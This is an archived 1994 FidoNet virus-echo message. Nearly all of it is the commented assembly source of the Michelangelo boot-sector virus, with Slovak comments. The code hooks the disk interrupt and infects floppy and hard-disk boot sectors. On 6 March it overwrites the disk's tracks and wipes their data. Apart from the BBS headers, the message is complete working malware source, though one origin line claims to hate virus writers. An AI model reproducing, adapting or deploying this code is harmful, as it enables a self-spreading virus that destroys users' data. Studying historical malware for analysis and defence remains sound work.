;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä ; Msg : 33 of 54 ; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14 ; To : - *.* - Fri 11 Nov 94 08:10 ; Subj : MICHANGL.A1 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;.RealName: Max Ivanov ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* Kicked-up by MeteO (2:5030/136) ;* Area : VIRUS (Int: ˆ­ä®p¬ æ¨ï ® ¢¨pãá å) ;* From : Ron Toler, 2:283/718 (06 Nov 94 16:58) ;* To : Mike Salvino ;* Subj : MICHANGL.A1 ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;@RFC-Path: ;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 ;18.n283!not-for-mail ;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org obsluha 13h: push ds push ax or dl,dl ; drive a: ? jnz loc_1 ; ak nie, stara obsluha xor ax,ax ; ak ano, pozri ci motor bezi mov ds,ax ; (ked bezi, tak by odbiehanie ; na boot sektor bolo napadne ; - hrcal by disk, pri zapnuti ; sa to strati) test byte ptr ds:[43Fh],1 ; (0000:043F=10h) jnz loc_1 ; ak bezi, tak stara obsluha pop ax ; ak nebezi, tak stara obsluha pop ds pushf call dword ptr cs:[0Ah] pushf ; Push flags call sub_1 ; rozmnoz sa na a: popf ; Pop flags retf 2 ; vrat sa z int s tymito flagmi loc_1: pop ax pop ds jmp dword ptr cs:[0Ah] ; stara obsluha ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; MNOZENIE SA ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near push ax ; SCHOVAJ REGS push bx push cx push dx push ds push es push si push di push cs pop ds push cs pop es mov si,4 loc_2: mov ax,201h ; 1 sektor citaj mov bx,200h ; za seba (si 512 b. dlhy) mov cx,1 ; boot sektor (1. na 0. stope) xor dx,dx ; disk a: pushf call dword ptr ds:[0Ah] ; stara obsluha jnc loc_3 ; error ? xor ax,ax ; error - disk reset pushf ; call dword ptr ds:[0Ah] ; (6C20:000A=0AF1Ah) dec si jnz loc_2 ; skus to 4 x jmp short loc_6 ; a ked nic, vykasli sa na to loc_3: xor si,si ; vsetko ok, pokracujeme cld lodsw ; porovnaj prve 4 byte z bootu cmp ax,[bx] ; so sebou, aby si zistil, ci jne loc_4 ; uz si tam - nakazeny disk lodsw cmp ax,[bx+2] je loc_6 ; ak si tam, netrba infikovat ; "AIDS staci dostat raz." loc_4: mov ax,301h ; avsak ak tam nie si, tak mov dh,1 ; ten disk nakaz mov cl,3 ; nastav znacku, kam odlozit cmp byte ptr [bx+15h],0FDh ; povodny boot je loc_5 ; (do ktoreho sektora) mov cl,0Eh ; podla typu diskety loc_5: ; (0e - HD, 3 - DD, 7 - hard) mov word ptr ds:[8],cx ; uloz znacku pushf ; a zapis povodny boot call dword ptr ds:[0Ah] jc loc_6 ; error - neda sa - vyskoc von mov si,3BEh ; dopis originalnu partition mov di,1BEh ; na svoj koniec mov cx,21h cld rep movsw mov ax,301h ; a zapis sa do bootu xor bx,bx mov cx,1 xor dx,dx pushf ; cez staru int 13h call dword ptr ds:[0Ah] loc_6: pop di ; hotovo - koniec pop si pop es pop ds pop dx pop cx pop bx pop ax retn sub_1 endp START VIRUSU xor ax,ax mov ds,ax ; DS NA NULU cli ; Disable interrupts mov ss,ax ; stack pod seba mov ax,7C00h ; tu si - natiahol si sa mov sp,ax ; z bootu - sp pod seba sti ; Enable interrupts push ds ; schovaj ds,ax push ax mov ax,word ptr ds:[4Ch] ; odloz si staru obsluhu int13h mov word ptr ds:[7C0Ah],ax mov ax,word ptr ds:[4Eh] mov word ptr ds:[7C0Ch],ax mov ax,word ptr ds:[413h] ; top of memory zmensi o 2K dec ax dec ax mov word ptr ds:[413h],ax mov cl,6 ; prepocitaj na paragr. adr. shl ax,cl mov es,ax ; nastav es mov word ptr ds:[7C05h],ax ; a odloz si ju sem mov ax,0Eh ; toto je offset noveho int13h mov word ptr ds:[4Ch],ax ; nastav ten novy int mov word ptr ds:[4Eh],es mov cx,1BEh ; skopiruj sa do vyhr. 2K pam. mov si,7C00h xor di,di cld rep movsb jmp dword ptr cs:[7C03h] ; a skoc na seba po skopirovani xor ax,ax ; sem skocis mov es,ax ; 0 do es int 13h ; reset disk a: push cs ; cs do ds pop ds mov ax,201h ; precitaj boot mov bx,7C00h ; do 7c00 mov cx,word ptr ds:[8] ; pozri si znacku, kde mas ulo- ; zeny povodny boot cmp cx,7 ; ak je to 7 - tak si na harde jne loc_7 ; inak si na diskete mov dx,80h ; na harde - c: int 13h ; precitaj originalny boot jmp short loc_8 ; a pokracuj loc_7: mov cx,word ptr ds:[8] ; precitaj si kde mas boot mov dx,100h ; z diskety int 13h jc loc_8 ; error - nejde to - skonci push cs ; ak to ide cs do es pop es mov ax,201h ; a precitaj si este boot mov bx,200h ; za seba mov cx,1 mov dx,80h ; ale z hardu int 13h jc loc_8 ; chyba - von xor si,si ; porovnaj sa s bootom cld ; ci je harddisk nakazeny lodsw cmp ax,[bx] jne loc_13 lodsw cmp ax,[bx+2] jne loc_13 ; ak nie je nakazeny - nakaz loc_8: xor cx,cx ; 0 do cx mov ah,4 int 1Ah ; pozri si datum ; ci je 6. 3. cmp dx,306h je loc_9 ; ak je 6.3. - akcia retf ; ak nie - von loc_9: xor dx,dx ; TOT' UCINOK VIRUSU mov cx,1 ; zacni na 0. stope a 1. sktr loc_10: mov ax,309h ; zapis 9 sektorov mov si,word ptr ds:[8] ; pozri typ disku cmp si,3 ; disketa -> rovno zapis je loc_11 mov al,0Eh ; HD disketa -> 14 sektorov cmp si,0Eh je loc_11 ; a rovno zapis mov dl,80h ; nie disketa - hard mov byte ptr ds:[7],4 ; tak nie 2, ale 4 hlavy mov al,11h ; a 17 sektorov/ track loc_11: mov bx,5000h ; zober hocico z pamati mov es,bx int 13h ; a zapis na disk jnc loc_12 ; nie je chyba - pokracuj xor ah,ah ; chyba - reset disk int 13h loc_12: inc dh ; dalsia hlava ? cmp dh,byte ptr ds:[7] ; max. headroom jb loc_10 ; este nie - pokracuj xor dh,dh ; ano - opat hlava 0 inc ch ; dalsi track jmp short loc_10 ; a znova loc_13: mov cx,7 ; NAKAZENIE HARDU mov word ptr ds:[8],cx ; sem uloz povodny boot mov ax,301h mov dx,80h int 13h jc loc_8 ; error - out mov si,3BEh ; no error - dopis partition mov di,1BEh mov cx,21h rep movsw mov ax,301h ; a zapis sa do bootu xor bx,bx inc cl int 13h jmp short loc_8 ; a chod von -+- DinoMail v.1.0 Alpha + Origin: I just hate people who create virusses... (2:283/718) ============================================================================= Yoo-hooo-oo, -! þ The MeÂeO /Txx Specify output file type --- Aidstest Null: /Kill * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)